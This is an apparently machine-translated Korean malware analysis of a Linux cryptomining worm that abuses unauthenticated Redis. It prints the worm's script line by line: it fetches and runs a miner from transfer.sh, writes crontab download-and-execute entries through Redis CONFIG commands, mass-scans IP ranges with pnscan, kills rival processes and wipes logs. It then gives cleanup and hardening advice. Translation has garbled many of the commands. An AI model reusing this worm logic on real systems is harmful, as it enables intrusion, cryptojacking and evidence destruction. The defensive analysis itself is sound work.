1. 배경
Redis 무단 문제로 인해 Linux 시스템의 루트 권한을 획득하는 공격 방식이 공개된 이후, 해커들은 이 문제를 이용하여 Linux 서비스에 침입하여 마이닝, 스캐닝 등을 해왔다. 블랙 프로덕션에는 이 문제를 악용하고 pnscan을 사용하여 자동으로 다른 시스템을 검사하고 감염시키는 마이닝 유형이 있습니다. 이러한 유형의 공격은 항상 존재했지만 최근 증가하는 추세를 보이며 최근 여러 번 포착되었습니다. , 우리는 그것에 대해 자세한 분석을 할 것입니다.
2. 취약점 설명
먼저, 익스플로잇된 취약점에 대해 설명하겠습니다. 기본적으로 Redis는 0.0.0.0:6379에 바인딩되며, 방화벽을 사용하지 않으면 인증이 활성화되지 않은 경우 Redis 서비스가 공용 네트워크에 노출됩니다. 이 경우 모든 사용자가 인증 없이 Redis에 액세스하고 대상 서버에 액세스하는 동안 Redis 데이터를 읽을 수 있습니다. Redis에 접근하기 위한 권한 없이 Redis 관련 방법을 사용함으로써 공격자는 대상 서버의 ~/.ssh 폴더에 있는authorized_keys 파일에 자신의 공개 키를 성공적으로 쓸 수 있으며 Redis 서비스가 있는 경우 대상 서버에 직접 로그인할 수 있습니다. 루트 권한으로 시작하면 이 문제를 사용하여 서버에서 루트 권한을 직접 얻을 수 있습니다.
ZoomEye 및 SHODAN을 검색해 보면 많은 Redis 서비스가 공용 네트워크에 열려 있으며 이러한 서비스가 공격 대상이 될 수 있음을 알 수 있습니다.
3. 침입 분석
캡처된 이벤트를 분석한 후 전체 침입 프로세스에 다음 링크가 포함되어 있을 가능성이 있음을 발견했습니다. 1. 포트 6379가 열린 상태에서 Linux 서버를 검색합니다(이후 감염 검색 네트워크 세그먼트는 1.0.0.0/16 ~ 224.255.0.0/16입니다)
2. redis-cli를 통해 Redis에 접속을 시도하고 .dat 파일에 미리 설정된 활용 명령을 실행하여 Redis 데이터 파일을 /var/spool/cron/root로 수정한 후 해당 데이터를 Redis에 삽입하여 다운로드하고 실행합니다. 스크립트.액션 작성 crontab 작업
3. 위의 관련 동작을 스크립트를 통해 구현하고 이식을 완료한 후 채굴 프로그램을 시작합니다
4. pnscan을 다시 컴파일하고 설치하고 계속해서 다음 대상을 스캔하고 감염시킵니다
IV.스크립트 분석
전체 침입 및 후속 감염의 주요 기능은 Redis 문제를 crontab 작업에 작성하여 다운로드하고 실행한 NaNd 스크립트(https://transfer.sh/MIpIA/tmp.9kIguIhkI7)를 기반으로 분석할 수 있습니다. 기본적으로 전체 프로세스의 모든 세부 사항을 가져옵니다. 이는 해석을 통해 관련 기능을 분석할 수 있는 기본 스크립트입니다.
1. 잠자기 1
2. -maxlength 1 -name “.mxff0” -type f -mmin +60 -delete
를 찾으세요. 3. [ -f .mxff0 ] && 종료 0
4. 에코 0 > .mxff0
코드의 이 부분이 반복 실행을 판단하는 데 사용되는 한 .mxff0 파일을 마크 파일로 사용하십시오. 파일이 존재하면 스크립트가 시스템에서 실행되었다는 의미이며 그렇지 않으면 . mxff0 파일을 저장하고 다음 단계로 진행하세요.
5. “rm -rf .m* NaNd tmp.* .r .dat $0” EXIT
트랩 스크립트가 종료된 후 관련 파일 및 스크립트 자체를 삭제하도록 미리 설정된 작업을 설정합니다.
6. setenforce 0 2>/dev/null
7. echo SELINUX=비활성화 > /etc/sysconfig/selinux 2>/dev/null
8. crontab -r 2>/dev/null
9. rm -rf /var/spool/cron 2>/dev/null
10. grep -q 8.8.8.8 /etc/resolv.conf || echo “nameserver 8.8.8.8” >> /etc/resolv.conf
11. rm -rf /tmp/* 2>/dev/null
12. rm -rf /var/tmp/* 2>/dev/null
13. rm -rf /etc/root.sh 2>/dev/null
14. 동기화 && 에코 3 > /proc/sys/vm/drop_caches
15. 고양이 <
16. *하드 노파일 100000
17. *소프트 노파일 100000
18. 루트 하드 노파일 100000
19. 루트 소프트 노파일 100000
20. *하드 nproc 100000
21. *소프트 nproc 100000
22. 루트 하드 nproc 100000
23. 루트 소프트 nproc 100000
24. EOF
이 부분은 주로 시스템 구성을 수정하는 것에 관한 것입니다. 6행과 7행은 SELINU를 끕니다.
그런 다음 /var/spool/cron을 지우고 시스템 DNS 서버 8.8.8.8이 있는지 확인하고, 없으면 추가하세요.
11-13 시스템 tmp 디렉터리를 지우고 관련 파일을 삭제합니다.
14행은 시스템 캐시를 지우고 15-24행은 시스템 리소스 제한을 수정합니다.
25. iptables -I 입력 1 -p tcp –dport 6379 -j DROP
26. iptables -I 입력 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPT
27. ps xf | grep -v grep | grep "redis-server|nicehash|linuxs|linuxl|crawler.weibo|243/44444|cryptonight|stratum|gpg-daemon|jobs.flu.cc|nmap|cranberry|start. sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs| .sshd|/tmp/init” | 읽는 동안 pid _; “$pid” 완료
여기에는 포트 6379를 제한하여 로컬 액세스만 허용하는 동시에 마이닝, Redis 클라이언트, 크롤러 및 기타 프로세스가 포함되는 킬(kill) 관련 프로세스도 다른 해커의 침입을 피하기 위해 비교적 간단합니다. 다시 한 번, 다른 해커의 침입 가능성을 없애기 위해
28. rm -rf /tmp/* 2>/dev/null
29. rm -rf /var/tmp/* 2>/dev/null
30. 에코 0 > /var/spool/mail/root
31. 에코 0 > /var/log/wtmp
32. 에코 0 > /var/log/secure
33. 에코 0 > /root/.bash_history
관련 로그인 로그 및 명령 작업 기록을 삭제합니다.
34. YUM_PACKAGE_NAME=”iptables gcc redis coreutils bash 컬 wget”
35. DEB_PACKAGE_NAME=”coreutils bash 빌드 필수 make gcc redis-server redis-tools redis iptables 컬”
36. if cat /etc/*release | grep -i CentOS then
37. 냠냠 다 청소해
38. yum install -y -q epel-release
39. yum install -y -q $YUM_PACKAGE_NAME
40. elif cat /etc/*release | grep -qi Red
41. 냠냠 다 청소해
42. yum install -y -q epel-release
43. yum install -y -q $YUM_PACKAGE_NAME
44. elif cat /etc/*release | grep -qi Fedora
45. 냠냠 다 깨끗이
46. yum install -y -q epel-release
47. 냠 설치 -y -q $YUM_PACKAGE_NAME
48. elif cat /etc/*release | grep -qi 우분투
49. DEBIAN_FRONTEND=비대화형 내보내기
50. rm -rf /var/lib/apt/lists/*
51. apt-get 업데이트 -q –fix-missing
52. $DEB_PACKAGE_NAME의 PACKAGE에 대해;do apt-get install -y -q $PACKAGE done
53. elif cat /etc/*release | grep -qi 데비안
54. DEBIAN_FRONTEND=비대화형 내보내기
55. rm -rf /var/lib/apt/lists/*
56. apt-get 업데이트 –수정 누락
57. $DEB_PACKAGE_NAME의 PACKAGE에 대해;do apt-get install -y -q $PACKAGE done
58. elif cat /etc/*release | grep -qi Mint
59. DEBIAN_FRONTEND=비대화형 내보내기
60. rm -rf /var/lib/apt/lists/*
61. apt-get 업데이트 –수정 누락
62. $DEB_PACKAGE_NAME의 PACKAGE에 대해;do apt-get install -y -q $PACKAGE done
63. elif cat /etc/*release | grep -qi Knoppix then
64. DEBIAN_FRONTEND=비대화형 내보내기
65. rm -rf /var/lib/apt/lists/*
66. apt-get 업데이트 –수정 누락
67. $DEB_PACKAGE_NAME의 PACKAGE에 대해;do apt-get install -y -q $PACKAGE done
68. 그밖에
69. 1번출구
70. 화이
71. 잠1
72. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ) then
73. 컬 -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn /pnscan/tar.gz/v1.12
74. 잠1
75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
76. 화이
이 긴 콘텐츠 목록의 주요 목적은 pnscan을 다운로드, 컴파일 및 설치하는 것입니다. 콘텐츠에서 다양한 운영 체제의 판단을 확인한 다음 종속 모듈을 설치하고 컴파일을 위해 github에서 pnscan의 소스 코드를 다운로드할 수 있습니다. 그리고 설치 이유는 고정된 특성의 형성을 피하기 위해 다양한 시스템과 호환되며 각 컴파일에서 생성된 pnscan의 MD5가 다른 것으로 추측됩니다.
77. tname=$( mktemp )
78. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge
79. 컬 -s $OMURL > $tname || wget -q -O $tname $OMURL
80. NMURL=$( 컬 -s –업로드 파일 $tname https://transfer.sh )
81. mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg
이 부분은 주로 채굴 프로그램을 다운로드하고 .gpg로 이름을 바꾸고, 실행 권한을 추가하고, 실행 후 삭제하고, 새로운 링크를 얻기 위해 https://transfer.sh/에 다시 업로드하는 작업을 포함합니다.
82. [ -z “$NMURL” ] && NMURL=$OMURL
83. ncmd=$(기본 이름 $(mktemp))
84. sed 's|'"$OMURL"'|'"$NMURL"'|g' < NaNd > 85. NSURL=$( 컬 -s –upload-file $ncmd https://transfer.sh )
86. 에코 '플러시홀' >
87. echo 'config set dir /var/spool/cron' >> .dat
88. echo 'config set dbfilename root' >> .dat
89. echo 'set Backup1 "tn*/2 * * * * 컬 -s '${NSURL}' > NaNd && bash NaNdnt"' >> 90. echo 'set Backup2 "tn*/5 * * * * wget -O NaNd '${NSURL}' && bash NaNdnt"' >> 91. echo 'set Backup3 "tn*/10 * * * * lynx -source '${NSURL}' > NaNd && bash NaNdnt"' >> 92. 에코 '저장' >> .dat
93. echo 'config set dir /var/spool/cron/crontabs' >> .dat
94. 에코 '저장' >> .dat
95. 에코 '종료' >> .dat
이 콘텐츠 부분은 주로 새로운 .dat 파일을 생성하는데, 원본 NaNd 스크립트의 채굴 프로그램 다운로드 주소를 이전 단계에서 https://transfer.sh/에 업로드하여 얻은 새 주소로 바꾸는 것도 포함됩니다. Redis를 사용하면서 ;
관련 문장 96. pnx=pnscan
97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
99. for x in $( seq 1 224 | sort -R ); 100. for y in $( seq 0 255 | sort -R ); 101. $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .$x.$y.o
102. awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l
103. 읽는 동안 -r h do
; 104. 고양이 .dat | redis-cli -h $h -p $p –raw &
105. 완료 < .r.$x.$y.l
106. 완료
107. 완료
주요 단계는 pnscan을 호출하여 열린 포트 6379에 대해 서브넷 세그먼트 1.0.0.0/16 ~ 224.255.0.0/16을 스캔하고 운영 체제는 Linux인 다음 redis-cli를 사용하여 .dat에서 명령을 실행하여 진행하는 것입니다. 다음 대상은 감염입니다. 여기서 pnscan의 -W 매개변수 값은 '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a'이고 변환된 내용은 '*1rn$4rnINFOrn'입니다. 대상 Redis 서비스를 통해 Redis 서버의 각종 정보와 통계값을 얻은 후 -R 매개변수 값 '6f 73 3a 4c 69 6e 75 78'(변환 후 내용은 os:Linux)을 이용하여 해당 서비스인지 여부를 판단한다. 리눅스 시스템.
108. 에코 0 > /var/spool/mail/root 2 >/dev/null
109. 에코 0 > /var/log/wtmp 2>/dev/null
110. 에코 0 > /var/log/secure 2>/dev/null
111. 에코 0 > /root/.bash_history 2>/dev/null
112. 0번출구
마지막 단계는 관련 로그 및 명령 실행 내역을 지우는 마무리 작업입니다. 동시에 스크립트가 종료되면 스크립트 시작 부분에 트랩으로 미리 설정된 작업이 트리거되고 삭제 작업이 수행됩니다. 관련 파일 및 스크립트 자체 삭제(rm -rf m* NaNd tmp .* .r .dat $0).
스크립트를 해석함으로써 우리는 처음에 설명한 과정인 전체 웜의 행위와 침입 과정을 기본적으로 이해하게 되었습니다.
또한, 스크립트를 읽어보니 전체 침입 과정이 그다지 복잡하지는 않지만 실제로 스크립트에는 고려해야 할 "엔지니어링" 세부 사항이 많이 포함되어 있어 사람들이 침입자의 "철저한 고려"에 감탄하게 된다는 사실을 발견했습니다.
1. 스크립트 반복 실행을 방지하려면 반복 실행 확인을 위해 .mxff0 파일을 사용하세요
2. 성공률을 높이기 위해 일부 환경 전처리:
a) SELINUX
를 닫습니다. b) 8.8.8.8 DNS
추가 c) tmp 디렉토리를 지웁니다
d) 시스템 캐시 지우기
e) 시스템 리소스 제한 수정
3. 흔적제거
a) 스크립트 실행 후 트랩 사전 설정 동작을 사용하여 관련 파일 및 스크립트 자체를 삭제합니다
b) 관련 로그인 및 기타 로그, 명령 실행 내역을 반복적으로 삭제합니다
4. 동료 예방
a) iptables를 사용하여 Redis 서비스가 공용 네트워크에서 공개되는 것을 방지하세요. 이로 인해 또 다른 침입이 발생할 수 있습니다
b) 동료가 남겨둘 수 있는 침입 행위를 모두 제거하고 관련 프로세스를 종료합니다
5. 시스템 호환성
a) 운영 체제를 결정하고, 대상 방식으로 관련 명령을 실행하고, 종속 패키지를 설치하고, pnscan 컴파일 및 설치 성공률을 최대화합니다
b) SELINUX를 끄고 /etc/sysconfig/selinux
를 setenforce 및 수정하여 이를 수행합니다. c) 스크립트를 다운로드하고 실행하는 작업을 Crontab에서 작성하고, 이를 컬, wget, lynx
를 통해 구현합니다. d) Pnscan 스캔은 운영 체제 판단력을 높이고 불필요한 감염 시도를 줄입니다
6. 기능 제거, 생존 지속
a) Pnscan은 설치 및 컴파일 방법을 채택하여 다양한 시스템에서의 호환성을 향상시킬 뿐만 아니라 고정된 MD5 기능의 형성을 방지합니다
b) 전송하려면 https://transfer.sh를 사용하세요. 각 감염은 고정된 특성을 형성하는 고정 링크를 피하기 위해 새로운 연결을 생성합니다. c) 시스템에 다운로드된 관련 파일은 무작위로 생성된 파일 이름을 사용합니다
침입자의 다양한 '사려 깊은 배려' 덕분에 침입과 감염의 성공률이 일정 수준에 도달할 수 있는 것이다.
5. 안전 제안
바이러스 청소 및 시스템 복구
우리는 주로 스크립트의 관련 동작을 참조하여 해당 동작을 복원하고 삭제합니다.
1. 원래 시스템 환경과 비즈니스 요구에 따라 SELINUX를 닫고 SELINUX를 다시 엽니다
2. /var/spool/cron을 지우고 원본 백업에 따라 복원합니다
3. /etc/resolv.conf를 수정하여 DNS 서비스 8.8.8.8을 추가합니다. 영향이 없으면 그대로 두거나 삭제할 수 있습니다
4. 백업 상황에 따라 복원할 수 있는 시스템 리소스 제한(/etc/security/limits.conf)을 수정했습니다
5. 포트 6379에 대한 Iptables 규칙을 추가했습니다. 비즈니스에 영향을 미치지 않으면 유지하는 것이 좋습니다
6. 해당 프로세스를 종료하고 업무에 필요한 프로세스가 포함되어 있는지 확인하고 상황에 따라 복원
7. 관련 패키지가 위에 표시되어 있습니다. 상황에 따라 삭제되거나 영향이 없을 경우 보관될 수 있습니다. 8. pnscan을 컴파일하고 설치한 후 /usr/local/bin/pnscan
을 삭제할 수 있습니다. 9. 시스템에 영향을 주지 않으며 무시해도 되는 관련 로그 및 tmp 디렉터리를 지웠습니다
10. 감염을 검사하기 위한 마이닝 프로세스 및 pnscan을 시작했습니다. 프로세스: .gpg, pnscan, kill direct
또한 일부 중간 파일도 포함되어 있습니다. 스크립트에 관련 삭제 작업이 포함되어 있지만 확인을 위해 전역적으로 검색하는 것이 좋습니다: .mxff0, .x112, .gpg, .dat, NaNd, .r.xx.xx.o/l, tmp .xxxx
Redis 서비스 강화
1. 필요한 경우 바인딩 항목을 수정하세요. Redis 서비스가 외부 네트워크에 공개되지 않도록 하려면 바인딩 항목을 0.0.0.0으로 수정하세요. iptables를 사용하거나 Tencent Cloud 사용자가 보안 그룹을 통해 소스에 대한 액세스를 제한할 수 있습니다
2. 비즈니스에 영향을 미치지 않는 경우 Redis 서비스를 루트로 시작하지 마십시오. 또한 기본 포트 6379를 수정하는 것이 좋습니다. Redis 승인되지 않은 문제를 대상으로 하는 대부분의 침입은 기본 포트
를 대상으로 합니다. 3. AUTH를 구성하고 비밀번호 확인을 추가하면, 공용 네트워크에 공개되어 있어도 비밀번호가 취약하지 않으면 해커가 Redis 서비스에 접근하여 관련 작업을 수행할 수 없습니다
4. rename-command CONFIG "RENAME_CONFIG"를 사용하여 해당 명령의 이름을 변경합니다. 이렇게 하면 해커가 승인 없이 Redis 서비스에 연결하더라도 명령을 알지 못한 채 관련 데이터만 얻을 수 있을 뿐 더 이상 악용할 수는 없습니다
위 내용은 Linux Redis 자동 마이닝 감염 웜 인스턴스 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!